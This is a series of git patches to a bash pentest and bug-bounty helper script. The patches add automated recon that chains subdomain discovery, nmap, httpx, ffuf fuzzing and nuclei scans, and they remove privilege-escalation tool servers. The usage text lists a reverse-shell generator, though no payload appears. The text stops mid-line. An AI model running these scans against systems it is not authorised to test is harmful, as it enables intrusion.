diff --git a/s0mbra.sh b/s0mbra.sh index 371e011..4d7dcc2 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -237,11 +237,17 @@ nfs_enum() { # if RPC on port 111 shows in rpcinfo that nfs on port 2049 is available # we can enumerate nfs shares available: subdomenum() { - echo -e "$BLUE[+] Running subdomain enumeration and HTTP(S) web servers discovery on $1 scope file..." + echo -e "$BLUE[+] Running subdomain enumeration and HTTP(S) web servers discovery on $1 scope file...$CLR\n" enumeratescope $1 $2 echo -e "\n[+] Done." } +htpx() { + echo -e "$BLUE[+] Running httpx enumeration on $1 domain(s) file...$CLR\n" + httpx -silent -status-code -web-server -tech-detect -l $1 -mc 200,403,500 + echo -e "\n[+] Done." +} + # checking AWS S3 bucket s3() { echo -e "$BLUE[+] Checking AWS S3 $1 bucket$CLR" @@ -465,6 +471,9 @@ case "$cmd" in subdomenum) subdomenum "$2" "$3" ;; + htpx) + htpx "$2" + ;; full_nmap_scan) full_nmap_scan "$2" "$3" ;; @@ -550,6 +559,7 @@ case "$cmd" in echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}\n" echo -e "$BLUE:: RECON ::$CLR" echo -e "\t$CYAN subdomenum $GRAY[SCOPE_FILE] [OUTPUT_DIR]$CLR\t\t -> full scope subdomain enumeration + HTTP(S) denumerator on all identified domains" + echo -e "\t$CYAN htpx $GRAY[DOMAINS_LIST] $CLR\t\t\t\t -> httpx against DOMAINS_LIST, matching 200, 403 and 500 + stack, web server discovery" echo -e "\t$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" echo -e "\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" echo -e "\t$CYAN nmap_vuln_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A --script=vulscan/vulscan.nse on found open ports" From 1f54c34483c9f48261e1eb2de5ef2596c1a252b5 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 1 Dec 2021 23:27:09 +0000 Subject: [PATCH 220/460] [s0mbra] refactoring - remove unused stuff --- s0mbra.sh | 68 ++++--------------------------------------------------- 1 file changed, 5 insertions(+), 63 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 4d7dcc2..c92609b 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -142,24 +142,6 @@ javascript_sca() { echo -e "\n\n[+]Done." } -# exposes folder with Linux PrivEsc tools on localhost:9119 -privesc_tools_linux() { - cd "$HACKING_HOME"/tools/Linux-tools || exit - echo -e "$BLUE[+] Available tools:$CLR" - tree -L 2 . - echo -e "$BLUE[+] Starting HTTP server on port 9119...$CLR" - http 9119 -} - -# exposes folder with Windows PrivEsc tools on localhost:9119 -privesc_tools_windows() { - cd "$HACKING_HOME"/tools/Windows || exit - echo -e "$BLUE[+] Available tools:$CLR" - ls -lR . - echo -e "$BLUE[+] Starting HTTP server on port 9119...$CLR" - http 9119 -} - # enumerates SMB shares on [IP] - port 445 has to be open smb_enum() { if [[ -z $2 ]]; then @@ -243,8 +225,8 @@ subdomenum() { } htpx() { - echo -e "$BLUE[+] Running httpx enumeration on $1 domain(s) file...$CLR\n" - httpx -silent -status-code -web-server -tech-detect -l $1 -mc 200,403,500 + echo -e "$BLUE[+] Running httpx enumeration on $1 domain(s) file; save output to $2...$CLR\n" + httpx -silent -status-code -web-server -tech-detect -l $1 -mc 200,403,500 -o $2 echo -e "\n[+] Done." } @@ -424,30 +406,6 @@ generate_shells() { echo -e "$NEWLINE" } -php7() { - echo -e "$BLUE[+] Switching PHP version to 7.x ...\n$YELLOW" - brew unlink php@8.0 && brew link --force php@7.4 - echo -e "$BLUE[+] Changing httpd.conf...$YELLOW" - sudo cp /private/etc/apache2/httpd.conf.php7 /private/etc/apache2/httpd.conf - echo -e "$BLUE[+] Restarting Apache...$YELLOW" - sudo apachectl -k restart - echo -e "$BLUE[+] All done, current PHP version is:\n$GREEN" - php -v - echo -e "$CLR" -} - -php8() { - echo -e "$BLUE[+] Switching PHP version to 8.x ...\n$YELLOW" - brew unlink php@7.4 && brew link --force php@8.0 - echo -e "$BLUE[+] Changing httpd.conf...$YELLOW" - sudo cp /private/etc/apache2/httpd.conf.php8 /private/etc/apache2/httpd.conf - echo -e "$BLUE[+] Restarting Apache...$YELLOW" - sudo apachectl -k restart - echo -e "$BLUE[+] All done, current PHP version is:\n$GREEN" - php -v - echo -e "$CLR" -} - pwn() { echo -e "$BLUE[+] Running automated recon on $1...\n Puede tomar un poco tiempo, tienes que ser paciente... ;) $YELLOW" } @@ -459,12 +417,6 @@ case "$cmd" in pwn) pwn "$2" ;; - php7) - php7 - ;; - php8) - php8 - ;; set_ip) set_ip "$2" ;; @@ -516,12 +468,6 @@ case "$cmd" in decompile_jar) decompile_jar "$2" ;; - privesc_tools_linux) - privesc_tools_linux - ;; - privesc_tools_windows) - privesc_tools_windows - ;; smb_enum) smb_enum "$2" "$3" "$4" ;; @@ -559,7 +505,7 @@ case "$cmd" in echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}\n" echo -e "$BLUE:: RECON ::$CLR" echo -e "\t$CYAN subdomenum $GRAY[SCOPE_FILE] [OUTPUT_DIR]$CLR\t\t -> full scope subdomain enumeration + HTTP(S) denumerator on all identified domains" - echo -e "\t$CYAN htpx $GRAY[DOMAINS_LIST] $CLR\t\t\t\t -> httpx against DOMAINS_LIST, matching 200, 403 and 500 + stack, web server discovery" + echo -e "\t$CYAN htpx $GRAY[DOMAINS_LIST] [OUTPUT_FILE] $CLR\t\t -> httpx against DOMAINS_LIST, matching 200, 403 and 500 + stack, web server discovery" echo -e "\t$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" echo -e "\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" echo -e "\t$CYAN nmap_vuln_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A --script=vulscan/vulscan.nse on found open ports" @@ -569,8 +515,6 @@ case "$cmd" in echo -e "\t$CYAN s3go $GRAY[bucket] [key]$CLR\t\t\t\t -> get object identified by [key] from AWS S3 [bucket]" echo -e "$BLUE:: PENTEST TOOLS ::$CLR" echo -e "\t$CYAN http $GRAY[PORT]$CLR\t\t\t\t\t -> runs HTTP server on [PORT] TCP port" - echo -e "\t$CYAN privesc_tools_linux $CLR\t\t\t\t -> runs HTTP server on port 9119 in directory with Linux PrivEsc tools" - echo -e "\t$CYAN privesc_tools_windows $CLR\t\t\t\t -> runs HTTP server on port 9119 in directory with Windows PrivEsc tools" echo -e "\t$CYAN generate_shells $GRAY[IP] [PORT] $CLR\t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" echo -e "$BLUE:: SMB SUITE ::$CLR" echo -e "\t$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" @@ -593,10 +537,8 @@ case "$cmd" in echo -e "$BLUE:: WEB ::$CLR" echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH]$CLR\t\t -> web application enumeration (DICT: starter, lowercase, wordlist)" echo -e "\t$CYAN fufu $GRAY[URL] [HTTP RESPONSE CODE(S)]$CLR\t\t -> web application enumeration with starter.txt" - echo -e "$BLUE:: MISC ::$CLR" - echo -e "\t$CYAN php7 $CLR\t\t\t\t\t\t -> switch PHP to version 7.x" - echo -e "\t$CYAN php8 $CLR\t\t\t\t\t\t -> switch PHP to version 8.x" - echo -e "\n\n--------------------------------------------------------------------------------------------------------------" + + echo -e "\n--------------------------------------------------------------------------------------------------------------" echo -e "$GREEN Hack The Planet!\n$CLR" ;; esac From 950074e849bc5bcff7fb4856e0ec79f8c6a7640e Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 5 Dec 2021 11:57:09 +0000 Subject: [PATCH 221/460] [s0mbra] quick recon option - subfinder+nmap+httpx+ffuf --- s0mbra.sh | 48 +++++++++++++++++++++++++++++++++++++++++++----- 1 file changed, 43 insertions(+), 5 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index c92609b..a1195f6 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -230,6 +230,40 @@ htpx() { echo -e "\n[+] Done." } +recon() { + TMPDIR=$(pwd) + START_TIME=$(date) + echo -e "$BLUE[+] Running quick, dirty recon on $1 domain(s) file: subfinder + httpx + ffuf on 200 OK...$CLR\n" + + # subfinder + echo -e "\n$GREEN--> subfinder$CLR\n" + subfinder -d $1 -o $TMPDIR/s0mbra_recon_subfinder.tmp + + # nmap + echo -e "\n$GREEN--> nmap$CLR\n" + nmap -iL $TMPDIR/s0mbra_recon_subfinder.tmp --top-ports 1000 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_recon_nmap.tmp -oX $TMPDIR/s0mbra_recon_nmap.xml + + # httpx + echo -e "\n$GREEN--> httpx$CLR\n" + httpx -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_httpx.tmp + + # ffuf + echo -e "\n$GREEN--> ffuf$CLR\n" + for url in $(cat $TMPDIR/s0mbra_httpx.tmp | grep "200" | cut -d' ' -f1); + do + ffuf -ac -c -w $DICT_HOME/starter.txt -u $url/FUZZ -mc=200,301,302,403,422,500 + ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $url/FUZZ/ -mc=200,301,302,403,422,500; + done + + END_TIME=$(date) + echo -e "\n$GREEN[+] Finished!" + echo -e "\nstarted at: $RED $START_TIME $GREEN" + echo -e "finished at: $RED $END_TIME $GREEN\n" + echo -e " subfinder output file -> $GRAY $TMPDIR/s0mbra_subfinder.tmp$GREEN" + echo -e " httpx output file -> $GRAY $TMPDIR/s0mbra_httpx.tmp$GREEN" + echo -e " nmap output file -> $GRAY $TMPDIR/s0mbra_recon_nmap.tmp" + echo -e "\n$BLUE[+] Done." +} # checking AWS S3 bucket s3() { echo -e "$BLUE[+] Checking AWS S3 $1 bucket$CLR" @@ -349,18 +383,18 @@ abe() { fu() { clear - echo -e "$BLUE[+] Enumerate web resources on $1 with $2.txt dictionary; matching HTTP 200,422,500...$CLR" + echo -e "$BLUE[+] Enumerate web resources on $1 with $2.txt dictionary; matching HTTP 200,301,302,403,422,500...$CLR" if [[ -n $3 ]]; then if [[ $3 == "/" ]]; then # if $3 arg passed to fu equals / - add at the end of the path (for dir enumerations where sometimes # dir path has to end with / to be identified - ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ/ -mc 200,422,500 -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ/ -mc 200,301,302,403,422,500 -H "X-Hackerone: bl4de" else # if $3 arg is not /, treat it as file extension to enumerate files: - ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$3 -mc 200,422,500 -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$3 -mc 200,301,302,403,422,500 -H "X-Hackerone: bl4de" fi else - ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc 200,422,500 -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc 200,301,302,403,422,500 -H "X-Hackerone: bl4de" fi echo -e "$BLUE\n[+] Done! $CLR" } @@ -368,7 +402,7 @@ fu() { fufu() { clear echo -e "$BLUE[+] Enumerate web resources on $1 with starter.txt dictionary; matching HTTP $2...$CLR" - ffuf -c -w /Users/bl4de/hacking/dictionaries/starter.txt -u $1FUZZ -mc $2 -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/starter.txt -u $1FUZZ -mc $2 -H "X-Hackerone: bl4de" echo -e "$BLUE\n[+] Done! $CLR" } @@ -426,6 +460,9 @@ case "$cmd" in htpx) htpx "$2" ;; + recon) + recon "$2" + ;; full_nmap_scan) full_nmap_scan "$2" "$3" ;; @@ -504,6 +541,7 @@ case "$cmd" in echo -e "--------------------------------------------------------------------------------------------------------------" echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}\n" echo -e "$BLUE:: RECON ::$CLR" + echo -e "\t$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + httpx on DOMAIN" echo -e "\t$CYAN subdomenum $GRAY[SCOPE_FILE] [OUTPUT_DIR]$CLR\t\t -> full scope subdomain enumeration + HTTP(S) denumerator on all identified domains" echo -e "\t$CYAN htpx $GRAY[DOMAINS_LIST] [OUTPUT_FILE] $CLR\t\t -> httpx against DOMAINS_LIST, matching 200, 403 and 500 + stack, web server discovery" echo -e "\t$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" From 10cedeaa5ad052a025681024bb8c66d2d36605b6 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 5 Dec 2021 19:22:22 +0000 Subject: [PATCH 222/460] [s0mbra] Add custom headers required by some HackerOne private programs --- s0mbra.sh | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index a1195f6..51ee8fc 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -245,14 +245,14 @@ recon() { # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_httpx.tmp + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_httpx.tmp # ffuf echo -e "\n$GREEN--> ffuf$CLR\n" for url in $(cat $TMPDIR/s0mbra_httpx.tmp | grep "200" | cut -d' ' -f1); do - ffuf -ac -c -w $DICT_HOME/starter.txt -u $url/FUZZ -mc=200,301,302,403,422,500 - ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $url/FUZZ/ -mc=200,301,302,403,422,500; + ffuf -ac -c -w $DICT_HOME/starter.txt -u $url/FUZZ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $url/FUZZ/ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de"; done END_TIME=$(date) @@ -388,13 +388,13 @@ fu() { if [[ $3 == "/" ]]; then # if $3 arg passed to fu equals / - add at the end of the path (for dir enumerations where sometimes # dir path has to end with / to be identified - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ/ -mc 200,301,302,403,422,500 -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ/ -mc 200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" else # if $3 arg is not /, treat it as file extension to enumerate files: - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$3 -mc 200,301,302,403,422,500 -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$3 -mc 200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" fi else - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc 200,301,302,403,422,500 -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc 200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" fi echo -e "$BLUE\n[+] Done! $CLR" } From b0111b2dfeba1701e0fc3d9e28edd46a3374e721 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 6 Dec 2021 11:44:30 +0000 Subject: [PATCH 223/460] [s0mbra] recon - added nuclei, small refactoring; removed obsolete features --- s0mbra.sh | 26 ++++++++++---------------- 1 file changed, 10 insertions(+), 16 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 51ee8fc..f921e13 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -216,31 +216,26 @@ nfs_enum() { echo -e "\n[+] Done." } -# if RPC on port 111 shows in rpcinfo that nfs on port 2049 is available -# we can enumerate nfs shares available: -subdomenum() { - echo -e "$BLUE[+] Running subdomain enumeration and HTTP(S) web servers discovery on $1 scope file...$CLR\n" - enumeratescope $1 $2 - echo -e "\n[+] Done." -} - +# executes httpx on the list of host(s) htpx() { echo -e "$BLUE[+] Running httpx enumeration on $1 domain(s) file; save output to $2...$CLR\n" httpx -silent -status-code -web-server -tech-detect -l $1 -mc 200,403,500 -o $2 echo -e "\n[+] Done." } +# automated recon: subfinder + nmap + httpx + ffuf | on domain recon() { TMPDIR=$(pwd) + ITERATOR=1 START_TIME=$(date) - echo -e "$BLUE[+] Running quick, dirty recon on $1 domain(s) file: subfinder + httpx + ffuf on 200 OK...$CLR\n" + echo -e "$BLUE[+] Running quick, dirty recon on $1 domain: subfinder + httpx + ffuf on 200 OK...$CLR\n" # subfinder echo -e "\n$GREEN--> subfinder$CLR\n" subfinder -d $1 -o $TMPDIR/s0mbra_recon_subfinder.tmp # nmap - echo -e "\n$GREEN--> nmap$CLR\n" + echo -e "\n$GREEN--> nmap (top 1000 ports)$CLR\n" nmap -iL $TMPDIR/s0mbra_recon_subfinder.tmp --top-ports 1000 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_recon_nmap.tmp -oX $TMPDIR/s0mbra_recon_nmap.xml # httpx @@ -248,11 +243,13 @@ recon() { httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_httpx.tmp # ffuf - echo -e "\n$GREEN--> ffuf$CLR\n" + echo -e "\n$GREEN--> ffuf + nuclei on HTTP 200 from httpx$CLR\n" for url in $(cat $TMPDIR/s0mbra_httpx.tmp | grep "200" | cut -d' ' -f1); do ffuf -ac -c -w $DICT_HOME/starter.txt -u $url/FUZZ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $url/FUZZ/ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de"; + nuclei -v -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -u $url -o $TMPDIR/nuclei_output_file_0$ITERATOR.log + ITERATOR=$(( $ITERATOR+1 )) done END_TIME=$(date) @@ -264,6 +261,7 @@ recon() { echo -e " nmap output file -> $GRAY $TMPDIR/s0mbra_recon_nmap.tmp" echo -e "\n$BLUE[+] Done." } + # checking AWS S3 bucket s3() { echo -e "$BLUE[+] Checking AWS S3 $1 bucket$CLR" @@ -454,9 +452,6 @@ case "$cmd" in set_ip) set_ip "$2" ;; - subdomenum) - subdomenum "$2" "$3" - ;; htpx) htpx "$2" ;; @@ -541,8 +536,7 @@ case "$cmd" in echo -e "--------------------------------------------------------------------------------------------------------------" echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}\n" echo -e "$BLUE:: RECON ::$CLR" - echo -e "\t$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + httpx on DOMAIN" - echo -e "\t$CYAN subdomenum $GRAY[SCOPE_FILE] [OUTPUT_DIR]$CLR\t\t -> full scope subdomain enumeration + HTTP(S) denumerator on all identified domains" + echo -e "\t$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf + nuclei (one tool at the time on all hosts)" echo -e "\t$CYAN htpx $GRAY[DOMAINS_LIST] [OUTPUT_FILE] $CLR\t\t -> httpx against DOMAINS_LIST, matching 200, 403 and 500 + stack, web server discovery" echo -e "\t$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" echo -e "\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" From dc3ce484c0ffb7cbc13d3dee5442be06c2093a4b Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 6 Dec 2021 13:03:33 +0000 Subject: [PATCH 224/460] [s0mbra] Remove verbose flag from nuclei output --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index f921e13..3a9eaa8 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -248,7 +248,7 @@ recon() { do ffuf -ac -c -w $DICT_HOME/starter.txt -u $url/FUZZ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $url/FUZZ/ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de"; - nuclei -v -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -u $url -o $TMPDIR/nuclei_output_file_0$ITERATOR.log + nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -u $url -o $TMPDIR/nuclei_output_file_0$ITERATOR.log ITERATOR=$(( $ITERATOR+1 )) done From 178c3210e4babcb71fe27bd1a5ee2a198aa8ec67 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 6 Dec 2021 17:58:41 +0000 Subject: [PATCH 225/460] [s0mbra] fix issues with wrong output files --- s0mbra.sh | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 3a9eaa8..7167585 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -234,22 +234,22 @@ recon() { echo -e "\n$GREEN--> subfinder$CLR\n" subfinder -d $1 -o $TMPDIR/s0mbra_recon_subfinder.tmp - # nmap - echo -e "\n$GREEN--> nmap (top 1000 ports)$CLR\n" - nmap -iL $TMPDIR/s0mbra_recon_subfinder.tmp --top-ports 1000 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_recon_nmap.tmp -oX $TMPDIR/s0mbra_recon_nmap.xml + # # nmap + # echo -e "\n$GREEN--> nmap (top 1000 ports)$CLR\n" + # nmap -iL $TMPDIR/s0mbra_recon_subfinder.tmp --top-ports 100 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_recon_nmap.tmp -oX $TMPDIR/s0mbra_recon_nmap.xml # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_httpx.tmp + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp # ffuf echo -e "\n$GREEN--> ffuf + nuclei on HTTP 200 from httpx$CLR\n" - for url in $(cat $TMPDIR/s0mbra_httpx.tmp | grep "200" | cut -d' ' -f1); - do - ffuf -ac -c -w $DICT_HOME/starter.txt -u $url/FUZZ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" - ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $url/FUZZ/ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de"; - nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -u $url -o $TMPDIR/nuclei_output_file_0$ITERATOR.log - ITERATOR=$(( $ITERATOR+1 )) + for url in $(cat $TMPDIR/s0mbra_recon_httpx.tmp | grep "200" | cut -d' ' -f1); + do + NAME=$(echo $url | cut -d'/' -f3) + ffuf -ac -c -w $DICT_HOME/starter.txt -u $url/FUZZ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$NAME.log + ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $url/FUZZ/ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$NAME.log + nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -u $url -o $TMPDIR/s0mbra_recon_nuclei_$NAME.log; done END_TIME=$(date) @@ -536,7 +536,7 @@ case "$cmd" in echo -e "--------------------------------------------------------------------------------------------------------------" echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}\n" echo -e "$BLUE:: RECON ::$CLR" - echo -e "\t$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf + nuclei (one tool at the time on all hosts)" + echo -e "\t$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf + nuclei (one tool at the time on all hosts)" echo -e "\t$CYAN htpx $GRAY[DOMAINS_LIST] [OUTPUT_FILE] $CLR\t\t -> httpx against DOMAINS_LIST, matching 200, 403 and 500 + stack, web server discovery" echo -e "\t$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" echo -e "\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" From 68273067b95c2d94d4f0cb5b7e27fd0c5f088c28 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 6 Dec 2021 18:00:02 +0000 Subject: [PATCH 226/460] [s0mbra] fix issues with wrong output files - uncomment commented :D --- s0mbra.sh | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 7167585..00c1c3e 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -234,9 +234,9 @@ recon() { echo -e "\n$GREEN--> subfinder$CLR\n" subfinder -d $1 -o $TMPDIR/s0mbra_recon_subfinder.tmp - # # nmap - # echo -e "\n$GREEN--> nmap (top 1000 ports)$CLR\n" - # nmap -iL $TMPDIR/s0mbra_recon_subfinder.tmp --top-ports 100 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_recon_nmap.tmp -oX $TMPDIR/s0mbra_recon_nmap.xml + # nmap + echo -e "\n$GREEN--> nmap (top 1000 ports)$CLR\n" + nmap -iL $TMPDIR/s0mbra_recon_subfinder.tmp --top-ports 100 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_recon_nmap.tmp -oX $TMPDIR/s0mbra_recon_nmap.xml # httpx echo -e "\n$GREEN--> httpx$CLR\n" From 96f74d778fc5be86bafa2d0eeef28931d52558bc Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 7 Dec 2021 16:23:56 +0000 Subject: [PATCH 227/460] [s0mbra] refactoring of fu(); removed fufu() --- s0mbra.sh | 25 +++++++++---------------- 1 file changed, 9 insertions(+), 16 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 00c1c3e..2c0338f 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -381,29 +381,26 @@ abe() { fu() { clear - echo -e "$BLUE[+] Enumerate web resources on $1 with $2.txt dictionary; matching HTTP 200,301,302,403,422,500...$CLR" + # adjust here to add/remove HTTP response status code(s) to match on: + HTTP_RESP_CODES=200,206,301,302,403,500 + + echo -e "$BLUE[+] Enumerate web resources on $1 with $2.txt dictionary matching $HTTP_RESP_CODES ...$CLR" + if [[ -n $3 ]]; then if [[ $3 == "/" ]]; then # if $3 arg passed to fu equals / - add at the end of the path (for dir enumerations where sometimes # dir path has to end with / to be identified - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ/ -mc 200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ/ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" else # if $3 arg is not /, treat it as file extension to enumerate files: - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$3 -mc 200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$3 -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" fi else - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc 200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H 